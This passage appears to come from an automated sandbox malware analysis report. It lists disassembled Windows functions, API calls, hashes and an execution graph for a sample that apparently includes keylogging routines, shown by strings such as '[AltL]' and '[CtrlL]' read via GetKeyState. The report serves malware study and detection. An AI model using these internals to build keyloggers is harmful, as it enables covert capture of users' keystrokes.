                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                                                                            • String ID: [AltL]$[AltR]
                                                                                            • API String ID: 2738857842-2658077756
                                                                                            • Opcode ID: 013d8eb75564844e77d0a130007ea633e5b9443d2c6b05f924e9c22f592720ae
                                                                                            • Instruction ID: 4c389cf0edc94a27bb3bc0fddc987b72c0da48b50f0a0a77cbfc03dd010ffeca
                                                                                            • Opcode Fuzzy Hash: 013d8eb75564844e77d0a130007ea633e5b9443d2c6b05f924e9c22f592720ae
                                                                                            • Instruction Fuzzy Hash: 9AE09B2134032117C898323EA91B6EE3A218F82F65B80016FF8427BADADD7D4D5043CF
                                                                                            Function 00448A13 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _free.LIBCMT ref: 00448A35
                                                                                              • Part of subcall function 00446CD5: RtlFreeHeap.NTDLL(00000000,00000000,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A), ref: 00446CEB
                                                                                              • Part of subcall function 00446CD5: GetLastError.KERNEL32(0000000A,?,0044FC60,0000000A,00000000,0000000A,00000000,?,0044FF04,0000000A,00000007,0000000A,?,00450415,0000000A,0000000A), ref: 00446CFD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ErrorFreeHeapLast_free
                                                                                            • String ID: 8@$8@
                                                                                            • API String ID: 1353095263-3408345419
                                                                                            • Opcode ID: 9a963da6b0d453c70d37714207bd95daf40472698ea915a46c6a843fe12f4396
                                                                                            • Instruction ID: 8fe4af4b93ebf6b2b13329648f525de20a5552277f2be9521e73d3219e6c2dc0
                                                                                            • Opcode Fuzzy Hash: 9a963da6b0d453c70d37714207bd95daf40472698ea915a46c6a843fe12f4396
                                                                                            • Instruction Fuzzy Hash: 01E092361003059F8720CF6DD400A86B7F4EF95720720852FE89EE3710D731E812CB40
                                                                                            Function 0040ADB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetKeyState.USER32(00000012), ref: 0040ADB5
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: State
                                                                                            • String ID: [CtrlL]$[CtrlR]
                                                                                            • API String ID: 1649606143-2446555240
                                                                                            • Opcode ID: 4cd3fd2045822c407c10e6f4791885f4ed8356674f4e2c80592f01f7e92f4c5a
                                                                                            • Instruction ID: c178b64a75e50e2fccb38c9379e001e6e5e0f6b670105b82eaba8ba361dc1658
                                                                                            • Opcode Fuzzy Hash: 4cd3fd2045822c407c10e6f4791885f4ed8356674f4e2c80592f01f7e92f4c5a
                                                                                            • Instruction Fuzzy Hash: 59E0866170031517C514363DD61B67F39128F41B66F80012FF842A7AC6ED7E8D6423CB
                                                                                            Function 0043AF18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00448973: DeleteCriticalSection.KERNEL32(00471090,?,?,?,?,0046ECB8,00000010,0043AF25), ref: 004489D5
                                                                                              • Part of subcall function 00448973: _free.LIBCMT ref: 004489E3
                                                                                              • Part of subcall function 00448A13: _free.LIBCMT ref: 00448A35
                                                                                            • DeleteCriticalSection.KERNEL32(007A3DC0), ref: 0043AF41
                                                                                            • _free.LIBCMT ref: 0043AF55
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: _free$CriticalDeleteSection
                                                                                            • String ID: =z
                                                                                            • API String ID: 1906768660-1040794624
                                                                                            • Opcode ID: 71ff8b17d51679f1d22a336c43bf2a586848bbcdcff3b0266824fadac5e6ad26
                                                                                            • Instruction ID: c565f5be962e97e7d95751f2e11d368bfb34a8db459f84b373f63e28eeb95a6a
                                                                                            • Opcode Fuzzy Hash: 71ff8b17d51679f1d22a336c43bf2a586848bbcdcff3b0266824fadac5e6ad26
                                                                                            • Instruction Fuzzy Hash: 31E0D83280461087D6247F7DFD4195D73A4EB4D725F02042EF859B3161CE6C6CC1674D
                                                                                            Function 00411771 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • TerminateProcess.KERNEL32(00000000,pth_unenc,0040E748), ref: 00411781
                                                                                            • WaitForSingleObject.KERNEL32(000000FF), ref: 00411794
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ObjectProcessSingleTerminateWait
                                                                                            • String ID: pth_unenc
                                                                                            • API String ID: 1872346434-4028850238
                                                                                            • Opcode ID: 5bb4d910bf534706ca5f2b5d32154bdbdc32722f36a2c9cc9993c004b7262cc3
                                                                                            • Instruction ID: eef26e02e81300ba4c8cf7f61278c3f59c29627b67378ac59a4e73c1cb1fd9d7
                                                                                            • Opcode Fuzzy Hash: 5bb4d910bf534706ca5f2b5d32154bdbdc32722f36a2c9cc9993c004b7262cc3
                                                                                            • Instruction Fuzzy Hash: 24D01234145351AFD7610B60AD19F953F68E705323F108365F428512F1CFB58494AA1C
                                                                                            Function 0043FCA1 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401AD8), ref: 0043FD37
                                                                                            • GetLastError.KERNEL32 ref: 0043FD45
                                                                                            • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0043FDA0
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.1420254579.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.1420218367.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420307763.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000471000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420333412.0000000000474000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.1420384281.0000000000477000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ByteCharMultiWide$ErrorLast
                                                                                            • String ID:
                                                                                            • API String ID: 1717984340-0
                                                                                            • Opcode ID: da5cee2afb3fc4b5b183086853f31dabd9e5fae04dd03cb90eeff65bb8952867
                                                                                            • Instruction ID: a8021b2984f9c2011c4d4eba480f75da6e6c35d7fa760b83b06315d7a0ea6bca
                                                                                            • Opcode Fuzzy Hash: da5cee2afb3fc4b5b183086853f31dabd9e5fae04dd03cb90eeff65bb8952867
                                                                                            • Instruction Fuzzy Hash: E1410A30E00246AFCF218F65C84867B7BA5EF09310F14517EFC5A9B2A2DB398D05C759

                                                                                            Execution Graph

                                                                                            Execution Coverage:6.2%
                                                                                            Dynamic/Decrypted Code Coverage:9.2%
                                                                                            Signature Coverage:1.3%
                                                                                            Total number of Nodes:2000
                                                                                            Total number of Limit Nodes:77
                                                                                            execution_graph 37630 44dea5 37631 44deb5 FreeLibrary 37630->37631 37632 44dec3 37630->37632 37631->37632 37633 4287c1 37634 4287d2 37633->37634 37637 429ac1 37633->37637 37638 428818 37634->37638 37639 42881f 37634->37639 37648 425711 37634->37648 37635 4259da 37696 416760 11 API calls 37635->37696 37667 425ad6 37637->37667 37703 415c56 11 API calls 37637->37703 37670 42013a 37638->37670 37698 420244 97 API calls 37639->37698 37641 4260dd 37697 424251 120 API calls 37641->37697 37644 4259c2 37644->37667 37690 415c56 11 API calls 37644->37690 37648->37635 37648->37637 37648->37644 37651 429a4d 37648->37651 37654 422aeb memset memcpy memcpy 37648->37654 37658 4260a1 37648->37658 37666 425a38 37648->37666 37686 4227f0 memset memcpy 37648->37686 37687 422b84 15 API calls 37648->37687 37688 422b5d memset memcpy memcpy 37648->37688 37689 422640 13 API calls 37648->37689 37691 4241fc 11 API calls 37648->37691 37692 42413a 90 API calls 37648->37692 37652 429a66 37651->37652 37653 429a9b 37651->37653 37699 415c56 11 API calls 37652->37699 37657 429a96 37653->37657 37701 416760 11 API calls 37653->37701 37654->37648 37702 424251 120 API calls 37657->37702 37695 415c56 11 API calls 37658->37695 37660 429a7a 37700 416760 11 API calls 37660->37700 37666->37644 37693 422640 13 API calls 37666->37693 37694 4226e0 12 API calls 37666->37694 37671 42014c 37670->37671 37674 420151 37670->37674 37713 41e466 97 API calls 37671->37713 37673 420162 37673->37648 37674->37673 37675 4201b3 37674->37675 37676 420229 37674->37676 37677 4201b8 37675->37677 37678 4201dc 37675->37678 37676->37673 37679 41fd5e 86 API calls 37676->37679 37704 41fbdb 37677->37704 37678->37673 37682 4201ff 37678->37682 37710 41fc4c 37678->37710 37679->37673 37682->37673 37685 42013a 97 API calls 37682->37685 37685->37673 37686->37648 37687->37648 37688->37648 37689->37648 37690->37635 37691->37648 37692->37648 37693->37666 37694->37666 37695->37635 37696->37641 37697->37667 37698->37648 37699->37660 37700->37657 37701->37657 37702->37637 37703->37635 37705 41fbf1 37704->37705 37706 41fbf8 37704->37706 37709 41fc39 37705->37709 37728 4446ce 11 API calls 37705->37728 37718 41ee26 37706->37718 37709->37673 37714 41fd5e 37709->37714 37711 41ee6b 86 API calls 37710->37711 37712 41fc5d 37711->37712 37712->37678 37713->37674 37715 41fd65 37714->37715 37716 41fdab 37715->37716 37717 41fbdb 86 API calls 37715->37717 37716->37673 37717->37715 37719 41ee41 37718->37719 37720 41ee32 37718->37720 37729 41edad 37719->37729 37732 4446ce 11 API calls 37720->37732 37723 41ee3c 37723->37705 37726 41ee58 37726->37723 37734 41ee6b 37726->37734 37728->37709 37738 41be52 37729->37738 37732->37723 37733 41eb85 11 API calls 37733->37726 37735 41ee70 37734->37735 37736 41ee78 37734->37736 37791 41bf99 86 API calls 37735->37791 37736->37723 37739 41be6f 37738->37739 37740 41be5f 37738->37740 37745 41be8c 37739->37745 37770 418c63 memset memset 37739->37770 37769 4446ce 11 API calls 37740->37769 37742 41be69 37742->37723 37742->37733 37745->37742 37746 41bf3a 37745->37746 37748 41bed1 37745->37748 37750 41bee7 37745->37750 37773 4446ce 11 API calls 37746->37773 37749 41bef0 37748->37749 37752 41bee2 37748->37752 37749->37750 37751 41bf01 37749->37751 37750->37742 37774 41a453 86 API calls 37750->37774 37753 41bf24 memset 37751->37753 37755 41bf14 37751->37755 37771 418a6d memset memcpy memset 37751->37771 37759 41ac13 37752->37759 37753->37742 37772 41a223 memset memcpy memset 37755->37772 37758 41bf20 37758->37753 37760 41ac52 37759->37760 37761 41ac3f memset 37759->37761 37763 41ac6a 37760->37763 37775 41dc14 19 API calls 37760->37775 37766 41acd9 37761->37766 37764 41aca1 37763->37764 37776 41519d 37763->37776 37764->37766 37767 41acc0 memset 37764->37767 37768 41accd memcpy 37764->37768 37766->37750 37767->37766 37768->37766 37769->37742 37770->37745 37771->37755 37772->37758 37773->37750 37775->37763 37779 4175ed 37776->37779 37787 417570 SetFilePointer 37779->37787 37782 41760a ReadFile 37783 417637 37782->37783 37784 417627 GetLastError 37782->37784 37785 4151b3 37783->37785 37786 41763e memset 37783->37786 37784->37785 37785->37764 37786->37785 37788 41759c GetLastError 37787->37788 37790 4175b2 37787->37790 37789 4175a8 GetLastError 37788->37789 37788->37790 37789->37790 37790->37782 37790->37785 37791->37736 37792 417bc5 37793 417c61 37792->37793 37794 417bda 37792->37794 37794->37793 37795 417bf6 UnmapViewOfFile CloseHandle 37794->37795 37797 417c2c 37794->37797 37799 4175b7 37794->37799 37795->37794 37795->37795 37797->37794 37804 41851e 20 API calls 37797->37804 37800 4175d6 CloseHandle 37799->37800 37801 4175c8 37800->37801 37802 4175df 37800->37802 37801->37802 37803 4175ce Sleep 37801->37803 37802->37794 37803->37800 37804->37797 37805 4152c7 malloc 37806 4152ef 37805->37806 37808 4152e2 37805->37808 37809 416760 11 API calls 37806->37809 37809->37808 37810 415308 free 37811 41276d 37812 41277d 37811->37812 37854 4044a4 LoadLibraryW 37812->37854 37814 412785 37815 412789 37814->37815 37862 414b81 37814->37862 37818 4127c8 37868 412465 memset ??2@YAPAXI 37818->37868 37820 4127ea 37880 40ac21 37820->37880 37825 412813 37898 40dd07 memset 37825->37898 37826 412827 37903 40db69 memset 37826->37903 37829 412822 37924 4125b6 ??3@YAXPAX 37829->37924 37831 40ada2 _wcsicmp 37833 41283d 37831->37833 37833->37829 37836 412863 CoInitialize 37833->37836 37908 41268e 37833->37908 37928 4123e2 GetModuleHandleW RegisterClassW GetModuleHandleW CreateWindowExW 37836->37928 37839 41296f 37930 40b633 37839->37930 37841 412873 ShowWindow UpdateWindow GetModuleHandleW LoadAcceleratorsW GetMessageW 37846 412957 CoUninitialize 37841->37846 37851 4128ca 37841->37851 37846->37829 37847 4128d0 TranslateAcceleratorW 37848 412941 GetMessageW 37847->37848 37847->37851 37848->37846 37848->37847 37849 412909 IsDialogMessageW 37849->37848 37849->37851 37850 4128fd IsDialogMessageW 37850->37848 37850->37849 37851->37847 37851->37849 37851->37850 37852 41292b TranslateMessage DispatchMessageW 37851->37852 37853 41291f IsDialogMessageW 37851->37853 37852->37848 37853->37848 37853->37852 37855 4044f7 37854->37855 37856 4044cf GetProcAddress 37854->37856 37860 404507 MessageBoxW 37855->37860 37861 40451e 37855->37861 37857 4044e8 FreeLibrary 37856->37857 37858 4044df 37856->37858 37857->37855 37859 4044f3 37857->37859 37858->37857 37859->37855 37860->37814 37861->37814 37863 414b8a 37862->37863 37864 412794 SetErrorMode GetModuleHandleW EnumResourceTypesW 37862->37864 37934 40a804 memset 37863->37934 37864->37818 37867 414b9e GetProcAddress 37867->37864 37869 4124e0 37868->37869 37870 412505 ??2@YAPAXI 37869->37870 37871 41251c 37870->37871 37876 412521 37870->37876 37956 40e820 memset ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI 37871->37956 37945 444722 37876->37945 37879 41259b wcscpy 37879->37820 37961 40b1ab free free 37880->37961 37882 40ad76 37962 40aa04 37882->37962 37885 40a9ce malloc memcpy free free 37888 40ac5c 37885->37888 37886 40ad4b 37886->37882 37985 40a9ce 37886->37985 37888->37882 37888->37885 37888->37886 37889 40ace7 free 37888->37889 37965 40a8d0 37888->37965 37977 4099f4 37888->37977 37889->37888 37893 40a8d0 7 API calls 37893->37882 37894 40ada2 37895 40adc9 37894->37895 37896 40adaa 37894->37896 37895->37825 37895->37826 37896->37895 37897 40adb3 _wcsicmp 37896->37897 37897->37895 37897->37896 37990 40dce0 37898->37990 37900 40dd3a GetModuleHandleW 37995 40dba7 37900->37995 37904 40dce0 3 API calls 37903->37904 37905 40db99 37904->37905 38067 40dae1 37905->38067 38081 402f3a 37908->38081 37910 412766 37910->37829 37910->37836 37911 4126d3 _wcsicmp 37912 4126a8 37911->37912 37912->37910 37912->37911 37914 41270a 37912->37914 38115 4125f8 7 API calls 37912->38115 37914->37910 38084 411ac5 37914->38084 37925 4125da 37924->37925 37926 4125f0 37925->37926 37927 4125e6 DeleteObject 37925->37927 37929 40b1ab free free 37926->37929 37927->37926 37928->37841 37929->37839 37931 40b640 37930->37931 37932 40b639 free 37930->37932 37933 40b1ab free free 37931->37933 37932->37931 37933->37815 37935 40a83b GetSystemDirectoryW 37934->37935 37936 40a84c wcscpy 37934->37936 37935->37936 37941 409719 wcslen 37936->37941 37939 40a881 LoadLibraryW 37940 40a886 37939->37940 37940->37864 37940->37867 37942 409724 37941->37942 37943 409739 wcscat LoadLibraryW 37941->37943 37942->37943 37944 40972c wcscat 37942->37944 37943->37939 37943->37940 37944->37943 37946 444732 37945->37946 37947 444728 DeleteObject 37945->37947 37957 409cc3 37946->37957 37947->37946 37949 412551 37950 4010f9 37949->37950 37951 401130 37950->37951 37952 401134 GetModuleHandleW LoadIconW 37951->37952 37953 401107 wcsncat 37951->37953 37954 40a7be 37952->37954 37953->37951 37955 40a7d2 37954->37955 37955->37879 37955->37955 37956->37876 37960 409bfd memset wcscpy 37957->37960 37959 409cdb CreateFontIndirectW 37959->37949 37960->37959 37961->37888 37963 40aa14 37962->37963 37964 40aa0a free 37962->37964 37963->37894 37964->37963 37966 40a8eb 37965->37966 37967 40a8df wcslen 37965->37967 37968 40a906 free 37966->37968 37969 40a90f 37966->37969 37967->37966 37970 40a919 37968->37970 37971 4099f4 3 API calls 37969->37971 37972 40a932 37970->37972 37973 40a929 free 37970->37973 37971->37970 37975 4099f4 3 API calls 37972->37975 37974 40a93e memcpy 37973->37974 37974->37888 37976 40a93d 37975->37976 37976->37974 37978 409a41 37977->37978 37979 4099fb malloc 37977->37979 37978->37888 37981 409a37 37979->37981 37982 409a1c 37979->37982 37981->37888 37983 409a30 free 37982->37983 37984 409a20 memcpy 37982->37984 37983->37981 37984->37983 37986 40a9e7 37985->37986 37987 40a9dc free 37985->37987 37988 4099f4 3 API calls 37986->37988 37989 40a9f2 37987->37989 37988->37989 37989->37893 38014 409bca GetModuleFileNameW 37990->38014 37992 40dce6 wcsrchr 37993 40dcf5 37992->37993 37994 40dcf9 wcscat 37992->37994 37993->37994 37994->37900 38015 44db70 37995->38015 37999 40dbfd 38018 4447d9 37999->38018 38002 40dc34 wcscpy wcscpy 38044 40d6f5 38002->38044 38003 40dc1f wcscpy 38003->38002 38006 40d6f5 3 API calls 38007 40dc73 38006->38007 38008 40d6f5 3 API calls 38007->38008 38009 40dc89 38008->38009 38010 40d6f5 3 API calls 38009->38010 38011 40dc9c EnumResourceNamesW EnumResourceNamesW wcscpy 38010->38011 38050 40da80 38011->38050 38014->37992 38016 40dbb4 memset memset 38015->38016 38017 409bca GetModuleFileNameW 38016->38017 38017->37999 38019 4447f4 38018->38019 38020 40dc1b 38019->38020 38021 444807 ??2@YAPAXI 38019->38021 38020->38002 38020->38003 38022 44481f 38021->38022 38023 444873 _snwprintf 38022->38023 38024 4448ab wcscpy 38022->38024 38057 44474a 8 API calls 38023->38057 38026 4448bb 38024->38026 38058 44474a 8 API calls 38026->38058 38027 4448a7 38027->38024 38027->38026 38029 4448cd 38059 44474a 8 API calls 38029->38059 38031 4448e2 38060 44474a 8 API calls 38031->38060 38033 4448f7 38061 44474a 8 API calls 38033->38061 38035 44490c 38062 44474a 8 API calls 38035->38062 38037 444921 38063 44474a 8 API calls 38037->38063 38039 444936 38064 44474a 8 API calls 38039->38064 38041 44494b 38065 44474a 8 API calls 38041->38065 38043 444960 ??3@YAXPAX 38043->38020 38045 44db70 38044->38045 38046 40d702 memset GetPrivateProfileStringW 38045->38046 38047 40d752 38046->38047 38048 40d75c WritePrivateProfileStringW 38046->38048 38047->38048 38049 40d758 38047->38049 38048->38049 38049->38006 38051 44db70 38050->38051 38052 40da8d memset 38051->38052 38053 40daac LoadStringW 38052->38053 38056 40dac6 38053->38056 38055 40dade 38055->37829 38056->38053 38056->38055 38066 40d76e memset GetPrivateProfileStringW WritePrivateProfileStringW memset _itow 38056->38066 38057->38027 38058->38029 38059->38031 38060->38033 38061->38035 38062->38037 38063->38039 38064->38041 38065->38043 38066->38056 38077 409b98 GetFileAttributesW 38067->38077 38069 40daea 38070 40daef wcscpy wcscpy GetPrivateProfileIntW 38069->38070 38076 40db63 38069->38076 38078 40d65d GetPrivateProfileStringW 38070->38078 38072 40db3e 38079 40d65d GetPrivateProfileStringW 38072->38079 38074 40db4f 38080 40d65d GetPrivateProfileStringW 38074->38080 38076->37831 38077->38069 38078->38072 38079->38074 38080->38076 38116 40eaff 38081->38116 38085 411ae2 memset 38084->38085 38086 411b8f 38084->38086 38156 409bca GetModuleFileNameW 38085->38156 38098 411a8b 38086->38098 38088 411b0a wcsrchr 38089 411b22 wcscat 38088->38089 38090 411b1f 38088->38090 38157 414770 wcscpy wcscpy wcscpy CreateFileW CloseHandle 38089->38157 38090->38089 38092 411b67 38158 402afb 38092->38158 38096 411b7f 38214 40ea13 SendMessageW memset SendMessageW 38096->38214 38099 402afb 27 API calls 38098->38099 38100 411ac0 38099->38100 38101 4110dc 38100->38101 38102 41113e 38101->38102 38107 4110f0 38101->38107 38239 40969c LoadCursorW SetCursor 38102->38239 38104 411143 38240 4032b4 38104->38240 38258 444a54 38104->38258 38105 4110f7 _wcsicmp 38105->38107 38106 411157 38108 40ada2 _wcsicmp 38106->38108 38107->38102 38107->38105 38261 410c46 10 API calls 38107->38261 38111 411167 38108->38111 38109 4111af 38111->38109 38112 4111a6 qsort 38111->38112 38112->38109 38115->37912 38117 40eb10 38116->38117 38129 40e8e0 38117->38129 38120 40eb6c memcpy memcpy 38121 40ebb7 38120->38121 38121->38120 38122 40ebf2 ??2@YAPAXI ??2@YAPAXI 38121->38122 38124 40d134 16 API calls 38121->38124 38123 40ec65 38122->38123 38125 40ec2e ??2@YAPAXI 38122->38125 38139 40ea7f 38123->38139 38124->38121 38125->38123 38128 402f49 38128->37912 38130 40e8f2 38129->38130 38131 40e8eb ??3@YAXPAX 38129->38131 38132 40e900 38130->38132 38133 40e8f9 ??3@YAXPAX 38130->38133 38131->38130 38134 40e911 38132->38134 38135 40e90a ??3@YAXPAX 38132->38135 38133->38132 38136 40e931 ??2@YAPAXI ??2@YAPAXI 38134->38136 38137 40e921 ??3@YAXPAX 38134->38137 38138 40e92a ??3@YAXPAX 38134->38138 38135->38134 38136->38120 38137->38138 38138->38136 38140 40aa04 free 38139->38140 38141 40ea88 38140->38141 38142 40aa04 free 38141->38142 38143 40ea90 38142->38143 38144 40aa04 free 38143->38144 38145 40ea98 38144->38145 38146 40aa04 free 38145->38146 38147 40eaa0 38146->38147 38148 40a9ce 4 API calls 38147->38148 38149 40eab3 38148->38149 38150 40a9ce 4 API calls 38149->38150 38151 40eabd 38150->38151 38152 40a9ce 4 API calls 38151->38152 38153 40eac7 38152->38153 38154 40a9ce 4 API calls 38153->38154 38155 40ead1 38154->38155 38155->38128 38156->38088 38157->38092 38215 40b2cc 38158->38215 38160 402b0a 38161 40b2cc 27 API calls 38160->38161 38162 402b23 38161->38162 38163 40b2cc 27 API calls 38162->38163 38164 402b3a 38163->38164 38165 40b2cc 27 API calls 38164->38165 38166 402b54 38165->38166 38167 40b2cc 27 API calls 38166->38167 38168 402b6b 38167->38168 38169 40b2cc 27 API calls 38168->38169 38170 402b82 38169->38170 38171 40b2cc 27 API calls 38170->38171 38172 402b99 38171->38172 38173 40b2cc 27 API calls 38172->38173 38174 402bb0 38173->38174 38175 40b2cc 27 API calls 38174->38175 38176 402bc7 38175->38176 38177 40b2cc 27 API calls 38176->38177 38178 402bde 38177->38178 38179 40b2cc 27 API calls 38178->38179 38180 402bf5 38179->38180 38181 40b2cc 27 API calls 38180->38181 38182 402c0c 38181->38182 38183 40b2cc 27 API calls 38182->38183 38184 402c23 38183->38184 38185 40b2cc 27 API calls 38184->38185 38186 402c3a 38185->38186 38187 40b2cc 27 API calls 38186->38187 38188 402c51 38187->38188 38189 40b2cc 27 API calls 38188->38189 38190 402c68 38189->38190 38191 40b2cc 27 API calls 38190->38191 38192 402c7f 38191->38192 38193 40b2cc 27 API calls 38192->38193 38194 402c99 38193->38194 38195 40b2cc 27 API calls 38194->38195 38196 402cb3 38195->38196 38197 40b2cc 27 API calls 38196->38197 38198 402cd5 38197->38198 38199 40b2cc 27 API calls 38198->38199 38200 402cf0 38199->38200 38201 40b2cc 27 API calls 38200->38201 38202 402d0b 38201->38202 38203 40b2cc 27 API calls 38202->38203 38204 402d26 38203->38204 38205 40b2cc 27 API calls 38204->38205 38206 402d3e 38205->38206 38207 40b2cc 27 API calls 38206->38207 38208 402d59 38207->38208 38209 40b2cc 27 API calls 38208->38209 38210 402d78 38209->38210 38211 40b2cc 27 API calls 38210->38211 38212 402d93 38211->38212 38213 4018db GetWindowPlacement memset GetSystemMetrics GetSystemMetrics SetWindowPlacement 38212->38213 38213->38096 38214->38086 38218 40b58d 38215->38218 38217 40b2d1 38217->38160 38219 40b5a4 GetModuleHandleW FindResourceW 38218->38219 38220 40b62e 38218->38220 38221 40b5c2 LoadResource 38219->38221 38223 40b5e7 38219->38223 38220->38217 38222 40b5d0 SizeofResource LockResource 38221->38222 38221->38223 38222->38223 38223->38220 38231 40afcf 38223->38231 38225 40b608 memcpy 38234 40b4d3 memcpy 38225->38234 38227 40b61e 38235 40b3c1 18 API calls 38227->38235 38229 40b626 38236 40b04b 38229->38236 38232 40b04b ??3@YAXPAX 38231->38232 38233 40afd7 ??2@YAPAXI 38232->38233 38233->38225 38234->38227 38235->38229 38237 40b051 ??3@YAXPAX 38236->38237 38238 40b05f 38236->38238 38237->38238 38238->38220 38239->38104 38241 4032c4 38240->38241 38242 40b633 free 38241->38242 38243 403316 38242->38243 38262 44553b 38243->38262 38247 403480 38460 40368c 15 API calls 38247->38460 38249 403489 38250 40b633 free 38249->38250 38252 403495 38250->38252 38251 40333c 38251->38247 38253 